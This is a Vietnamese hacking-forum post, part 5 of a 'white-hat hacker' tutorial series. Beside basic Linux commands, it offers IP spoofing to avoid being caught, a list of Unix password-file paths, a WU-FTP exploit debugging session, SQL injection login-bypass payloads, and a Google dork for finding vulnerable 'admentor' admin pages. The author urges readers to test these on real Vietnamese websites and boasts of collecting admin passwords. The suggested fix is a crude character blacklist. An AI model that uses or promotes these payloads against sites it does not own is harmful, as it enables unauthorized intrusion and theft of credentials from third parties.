Home...Kamosu s2 all
Bạn hãy ủng hộ forum bằng cách đăng kí làm thành viên nhé! Việc đăng kí rất đơn giản và không cần phải kích hoạt!
Sau khi đăng kí, bạn hãy đăng nhập và tham gia post bài ngay! Mỗi bài viết của bạn là một đóng góp quý báu cho LA9x Forum!
Chúc bạn một ngày vui vẻ!



 
Trang ChínhLa9xCalendarTrợ giúpTìm kiếmĐăng kýĐăng Nhập

Share | 
  LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 5Xem chủ đề cũ hơn Xem chủ đề mới hơn Go down 
Bài gửiTiêu đề: LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 5Fri Jul 23, 2010 6:41 am
avatar
Kamosu
Admin

Admin

http://la9x.tk
Thông tin thành viên :
Click !Bài gửi : 151
Được thank : 0
Đến từ : Hai? Pho`ng

Chủ đề : LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 5
--------------------------------------------------


PART 5



31 . ) Gói tin TCP/IP là gì?



TCP/IP viết tắt cho Transmission Control Protocol and Internet
Protocol, một Gói tin TCP/IP là một khối dữ liệu đã được nén, sau đó kèm
thêm một header và gửi đến một máy tính khác. Đây là cách thức truyền
tin của internet, bằng cách gửi các gói tin. Phần header trong một gói
tin chứa địa chỉ IP của người gửi gói tin. Bạn có thể viết lại một gói
tin và làm cho nó trong giống như đến từ một người khác!! Bạn có thể
dùng cách này để tìm cách truy nhập vào rất nhiều hệ thống mà không bị
bắt. Bạn sẽ phải chạy trên Linux hoặc có một chương trình cho phép bạn
làm điều này.



32 . ) Linux là gi`:



_Nói theo nghĩa gốc, Linux là nhân ( kernel ) của HĐH. Nhân là 1
phần mềm đảm trách chức vụ liên lạc giữa các chương trình ứng dụng máy
tính và phần cứng. Cung cấp các chứng năng như: quản lý file, quản lý bộ
nhớ ảo, các thiết bị nhập xuất nhưng ổ cứng, màn hình, bàn phím, ....
Nhưng Nhân Linux chưa phải là 1 HĐH, vì thế nên Nhân Linux cần phải liên
kết với những chương trình ứng dụng được viết bởi tổ chức GNU tạo lên 1
HĐH hoàn chỉnh: HĐH Linux. Đây cũng là lý do tại sao chúng ta thấy
GNU/Linux khi được nhắc đến Linux.

Tiếp theo, 1 công ty hay 1 tổ chức đứng ra đóng gói các sản phẩm
này ( Nhân và Chương trình ứng dụng ) sau đó sửa chữa một số cấu hình để
mang đặc trưng của công ty/ tổ chức mình và làm thêm phần cài đặt (
Installation Process ) cho bộ Linux đó, chúng ta có : Distribution. Các
Distribution khác nhau ở số lượng và loại Software được đóng gói cũng
như quá trình cài đặt, và các phiên bản của Nhân. 1 số Distribution lớn
hiện nay của Linux là : Debian, Redhat, Mandrake, SlackWare, Suse .



33 . ) Các lệnh căn bản cần biết khi sử
dụng hoặc xâm nhập vào hệ thống Linux :




_ Lệnh " man" : Khi bạn muốn biết cách sử dụng lệnh nào thì có thể
dùng tới lệnh nay :

Cấu trúc lệnh : $ man .

Ví dụ : $ man man

_ Lệnh " uname ": cho ta biết các thông tin cơ bản về hệ thống

Ví dụ : $uname -a ; nó sẽ đưa ra thông tin sau :



Linux gamma 2.4.18 #3 Wed Dec 26 10:50:09 ICT 2001 i686 unknown



_ Lệnh id : xem uid/gid hiện tại ( xem nhóm và tên hiện tại )



_ Lệnh w : xem các user đang login và action của họ trên hệ thống .

Ví Dụ : $w nó sẽ đưa ra thông tin sau :



10:31pm up 25 days, 4:07, 18 users, load average: 0.06, 0.01, 0.00



_ Lệnh ps: xem thông tin các process trên hệ thống

Ví dụ : $ps axuw

_ Lệnh cd : bạn muốn di chuyển đến thư mục nào . phải nhờ đến lệnh
này .

Ví du : $ cd /usr/bin ----> nó sẽ đưa bạn đến thư mục bin

_ Lệnh mkdir : tạo 1 thư mục .

Ví dụ : $ mkdir /home/convit ---> nó sẽ tạo 1 thư mục convit
trong /home

_ Lệnh rmdir : gỡ bỏ thư mục

Ví dụ : $ rmdir /home/conga ----> nó sẽ gỡ bỏ thư mục conga
trong /home .

_ Lệnh ls: liệt kê nội dung thư mục

Ví dụ : $ls -laR /

_ Lệnh printf: in dữ liệu có định dạng, giống như sử dựng printf()
của C++ .

Ví dụ : $printf %s "\x41\x41\x41\x41"

_ Lệnh pwd: đưa ra thư mục hiện hành

Ví dụ : $pwd ------> nó sẽ cho ta biết vị trí hiện thời của ta ở
đâu : /home/level1

_ Các lệnh : cp, mv, rm có nghĩa là : copy, move, delete file

Ví dụ với lệnh rm (del) : $rm -rf /var/tmp/blah ----->nó sẽ del
file blah .

Làm tương tự đối với các lệnh cp , mv .

_ Lệnh find : tìm kiếm file, thư mục

Ví dụ : $find / -user level2

_ Lệnh grep: công cụ tìm kiếm, cách sử dụng đơn giản nhất : grep
"something"

Vidu : $ps axuw | grep "level1"

_ Lệnh Strings: in ra tất cả các ký tự in được trong 1 file. Dùng
nó để tìm các khai báo hành chuỗi trong chương trình, hay các gọi hàm hệ
thống, có khi tìm thấy cả password nữa

VD: $strings /usr/bin/level1

_ Lệnh strace: (linux) trace các gọi hàm hệ thống và signal, cực kỳ
hữu ích để theo dõi flow của chương trình, cách nhanh nhất để xác định
chương trình bị lỗi ở đoạn nào. Trên các hệ thống unix khác, tool tương
đương là truss, ktrace .

Ví dụ : $strace /usr/bin/level1

_ Lệnh" cat, more ": in nội dung file ra màn hình



$cat /etc/passwd | more --> nó sẽ đưa ra nội dung file passwd
một cách nhanh nhất .

$more /etc/passwd ----> Nó sẽ đưa ra nội dung file passwd một
cách từ từ .



_ Lệnh hexdump : in ra các giá trị tương ứng theo ascii, hex,
octal, decimal của dữ liệu nhập vào .

Ví dụ : $echo AAAA | hexdump

_ Lệnh : cc, gcc, make, gdb: các công cụ biên dịch và debug .

Ví dụ : $gcc -o -g bof bof.c

Ví dụ : $make bof

Ví dụ : $gdb level1

(gdb) break main

(gdb) run

_ Lệnh perl: một ngôn ngữ

Ví dụ : $perl -e 'print "A"x1024' | ./bufferoverflow ( Lỗi tràn bộ
đệm khi ta đánh vào 1024 kí tự )

_ Lệnh "bash" : đã đến lúc tự động hoá các tác vụ của bạn bằng
shell script, cực mạnh và linh hoạt .

Bạn muốn tìm hiểu về bash , xem nó như thế nào :

$man bash

_ Lệnh ls : Xem nội dung thư mục ( Liệt kê file trong thư mục ) .

Ví Dụ : $ ls /home ----> sẽ hiện toàn bộ file trong thư mục Home


$ ls -a -----> hiện toàn bộ file , bao gồm cả file ẩn

$ ls -l -----> đưa ra thông tin về các file

_ Lệnh ghi dữ liệu đầu ra vào 1 file :

Vídụ : $ ls /urs/bin > ~/convoi ------> ghi dữ liệu hiển thị
thông tin của thư mục bin vào 1 file convoi .



34 . ) Những hiểu biết cơ bản xung quanh
Linux :




a . ) Một vài thư mục quan trọng trên server :



_ /home : nơi lưu giữ các file người sử dụng ( VD : người đăng nhập
hệ thống có tên là convit thì sẽ có 1 thư mục là /home/convit )

_ /bin : Nơi xử lý các lệnh Unix cơ bản cần thiết như ls chẳng hạn .


_ /usr/bin : Nơi xử lý các lệnh dặc biệt khác , các lệnh dùng bởi
người sử dụng đặc biệt và dùng quản trị hệ thống .

_ /bot : Nơi mà kernel và các file khác được dùng khi khởi động .

_ /ect : Các file hoạt động phụ mạng , NFS (Network File System )
Thư tín ( Đây là nơi trọng yếu mà chúng ta cần khai thác nhiều nhất )

_ /var : Các file quản trị

_ /usr/lib : Các thư viện chuẩn như libc.a

_ /usr/src : Vị trí nguồn của các chương trình .



b . ) Vị trí file chứa passwd của một số phiên bản khác nhau :



CODE

AIX 3 /etc/security/passwd !/tcb/auth/files//

A/UX 3.0s /tcb/files/auth/?/*

BSD4.3-Ren /etc/master.passwd *

ConvexOS 10 /etc/shadpw *

ConvexOS 11 /etc/shadow *

DG/UX /etc/tcb/aa/user/ *

EP/IX /etc/shadow x

HP-UX /.secure/etc/passwd *

IRIX 5 /etc/shadow x

Linux 1.1 /etc/shadow *

OSF/1 /etc/passwd[.dir|.pag] *

SCO Unix #.2.x /tcb/auth/files//

SunOS4.1+c2 /etc/security/passwd.adjunct ##username

SunOS 5.0 /etc/shadow

System V Release 4.0 /etc/shadow x

System V Release 4.2 /etc/security/* database

Ultrix 4 /etc/auth[.dir|.pag] *

UNICOS /etc/udb *





35 . ) Khai thác lỗi của Linux qua lỗ hổng bảo mật của WU-FTP
server :




_ WU-FTP Server (được phát triển bởi đại Học Washington ) là một
phần mềm Server phục vụ FTP được dùng khá phổ biến trên các hệ thống
Unix & Linux ( tất cả các nhà phân phối: Redhat, Caldera, Slackware,
Suse, Mandrake....) và cả Windows.... , các hacker có thể thực thi các
câu lệnh của mình từ xa thông qua file globbing bằng cách ghi đè lên
file có trên hệ thống .

_ Tuy nhiên , việc khai thác lỗi này không phảI là dễ vì nó phải
hội đủ những điều kiện sau :

+ Phải có account trên server .

+ Phải đặt được Shellcode vào trong bộ nhớ Process của Server .

+ Phải gửi một lệnh FTP đặc biệt chứa đựng một globbing mẫu đặc
biệt mà không bị server phát hiện có lỗi .

+ Hacker sẽ ghi đè lên một Function, Code tới một Shellcode, có thể
nó sẽ được thực thi bới chính Server FTP .

_ Ta hãy phân tích VD sau về việc ghi đè lên file của server FTP :



CODE

ftp> open localhost <== lệnh mở trang bị lỗi .

Connected to localhost (127.0.0.1).

220 sasha FTP server (Version wu-2.6.1-18) ready <== xâm nhập
thành công FTP server .

Name (localhost:root): anonymous <== Nhập tên chỗ này

331 Guest login ok, send your complete e-mail address as password.

Password:………..<== nhập mật khẩu ở đây

230 Guest login ok, access restrictions apply.

Remote system type is UNIX.

Using binary mode to transfer files. <== sử dụng biến nhị phân
để chuyển đổi file .

ftp> ls ~{ <== lệnh liệt kê thư mục hiện hành .

227 Entering Passive Mode (127,0,0,1,241,205)

421 Service not available, remote server has closed connection

1405 ? S 0:00 ftpd: accepting connections on port 21 ç chấp nhận
kết nốI ở cổng 21 .

7611 tty3 S 1:29 gdb /usr/sbin/wu.ftpd

26256 ? S 0:00 ftpd:

sasha:anonymous/aaaaaaaaaaaaaaaaaaaaaaaaaaaaaa

26265 tty3 R 0:00 bash -c ps ax | grep ftpd

(gdb) at 26256

Attaching to program: /usr/sbin/wu.ftpd, process 26256 <== khai
thác lỗi Wu.ftpd .

Symbols already loaded for /lib/libcrypt.so.1

Symbols already loaded for /lib/libnsl.so.1

Symbols already loaded for /lib/libresolv.so.2

Symbols already loaded for /lib/libpam.so.0

Symbols already loaded for /lib/libdl.so.2

Symbols already loaded for /lib/i686/libc.so.6

Symbols already loaded for /lib/ld-linux.so.2

Symbols already loaded for /lib/libnss_files.so.2

Symbols already loaded for /lib/libnss_nisplus.so.2

Symbols already loaded for /lib/libnss_nis.so.2

0x40165544 in __libc_read () from /lib/i686/libc.so.6

(gdb) c

Continuing.

Program received signal SIGSEGV, Segmentation fault.

__libc_free (mem=0x61616161) at malloc.c:3136

3136 in malloc.c





Việc khai thác qua lỗi này đến nay tôi test vẫn chưa thành công (
chẳng biết làm sai chỗ nào ) . Vậy bạn nào làm được hãy post lên cho
anh em biết nhé .

Lỗi Linux hiện nay rất ít ( đặc biệt là đối với Redhat ), các bạn
hãy chờ đợi nếu có lỗi gì mới thì bên “LỗI bảo mật” sẽ cập nhật ngay .
Khai thác chúng như thế nào thì hỏi Mod quản lý bên đó , đặc biệt là bạn
Leonhart , cậu ta siêng trả lời các bạn lắm .



( Dựa theo bài viết của huynh Binhnx2000 )



36 . ) Tìm hiểu về SQL Injection :



_ SQL Injection là một trong những kiểu hack web đang dần trở nên
phổ biến hiện nay. Bằng cách inject các mã SQL query/command vào input
trước khi chuyển cho ứng dụng web xử lí, bạn có thể login mà không cần
username và password, thi hành lệnh từ xa, đoạt dữ liệu và lấy root của
SQL server. Công cụ dùng để tấn công là một trình duyệt web bất kì,
chẳng hạn như Internet Explorer, Netscape, Lynx, ...

_ Bạn có thể kiếm được trang Web bị lỗi bằng cách dùng các công cụ
tìm kiếm để kiếm các trang cho phép submit dữ liệu . Một số trang Web
chuyển tham số qua các khu vực ẩn nên bạn phảI viewsource mớI thấy được .
VD ta xác định được trang này sử dụng Submit dữ liệu nhờ nhìn vào mã mà
ta đã viewsource :



CODE

<FORM action=Search/search.asp method=post>

<input type=hidden name=A value=C>

</FORM>





_ Kiểm tra thử xem trang Web có bị lỗi này hay không bằng cách nhập
vào login và pass lân lượt như sau :



- Login: hi' or 1=1--

- Pass: hi' or 1=1--



Nếu không được bạn thử tiếp với các login và pass sau :



CODE

' or 1=1--

" or 1=1--

or 1=1--

' or 'a'='a

" or "a"="a

') or ('a'='a





Nếu thành công, bạn có thể login vào mà không cần phải biết
username và password .

Lỗi này có dính dáng đến Query nên nếu bạn nào đã từng học qua cơ
sở dữ liệu có thể khai thác dễ dàng chỉ bằng cách đánh các lệnh Query
trên trình duyệt của các bạn . Nếu các bạn muốn tìm hiểu kỹ càng hơn về
lỗi này có thể tìm các bài viết của nhóm vicky để tìm hiểu thêm .



37 . ) Một VD về hack Web thông qua lỗi
admentor ( Một dạng của lỗi SQL Injection ) :




_ Trước tiên bạn vào google.com tìm trang Web admentor bằng từ khoá
“allinurl : admentor” .

_ Thông thường bạn sẽ có kết quả sau :




http://www.someserver.com/admentor/admin/admin.asp



_ Bạn thử nhập “ ' or ''=' ” vào login và password :



CODE

Login : ' or ''='

Password : ' or ''='





_ Nếu thành công bạn sẽ xâm nhập vào Web bị lỗi với vai trò là
admin .

_ Ta hãy tìm hiểu về cách fix lỗi này nhé :

+ Lọc các ký tự đặc biệt như “ ' " ~ \ ” bằng cách chêm vào
javascrip đoạn mã sau :



CODE

function RemoveBad(strTemp)

{

strTemp = strTemp.replace(/\<|\>|"|'|\%|\;|\(|\)|\&|\+|

\-/g,"");

return strTemp;

}





+ Và gọi nó từ bên trong của asp script :



CODE

var login = var TempStr = RemoveBad

(Request.QueryString("login"));

var password = var TempStr = RemoveBad

(Request.QueryString("password"));





_ Vậy là ta đã fix xong lỗi .

_ Các bạn có thể áp dụng cách hack này cho các trang Web khác có
submit dữ liệu , các bạn hãy test thử xem đi , các trang Web ở Việt Nam
mình bị nhiều lắm , tôi đã kiếm được kha khá pass admin bằng cách thử
này rồi ( nhưng cũng đã báo để họ fix lại ) .

_ Có nhiều trang khi login không phải bằng “ ' or ''=’ ” mà bằng
các nick name có thật đã đăng ký trên trang Web đó , ta vào link “thành
viên” kiếm nick của một admin để test thử nhé .

Hack vui vẻ .



====================================================



Ở phần 6 tôi sẽ đề cập đến kiểu tấn công từ chối dịch vụ ( DoS
attack ) , một kiểu tấn công lợi hại đã làm cho trang Web hùng mạnh như
HVA của chúng ta bị tắt nghẽn chỉ trong thờI gian ngắn các admin bận đi
uống cafe hết mà không ai trông coi . Kèm theo đó là các phương pháp
tấn công DoS đã và đang được sử dụng .



GOOKLUCK!!!!!!!!!!!!!!!!!!!!



( Hết phần 5 )



Về Đầu Trang Go down
 

LÀM THẾ NÀO ĐỂ TRỞ THÀNH MỘT WHITE-HAT HACKER - Phần 5

Xem chủ đề cũ hơn Xem chủ đề mới hơn Về Đầu Trang 
Trang 1 trong tổng số 1 trang
Trả lời nhanh - Quick reply
Permissions in this forum:Bạn không có quyền trả lời bài viết
Home...Kamosu s2 all  :: Hacking-Sercurity-Programming-Designing :: Hack cơ bản-
Host By Forumotion   Powered by Kamosu
Tên miền , Hosting    Copyright 2010 - 2011, Jelsoft Enterprises Ltd
Free forum | © phpBB | Free forum support | Report an abuse | Create a free blog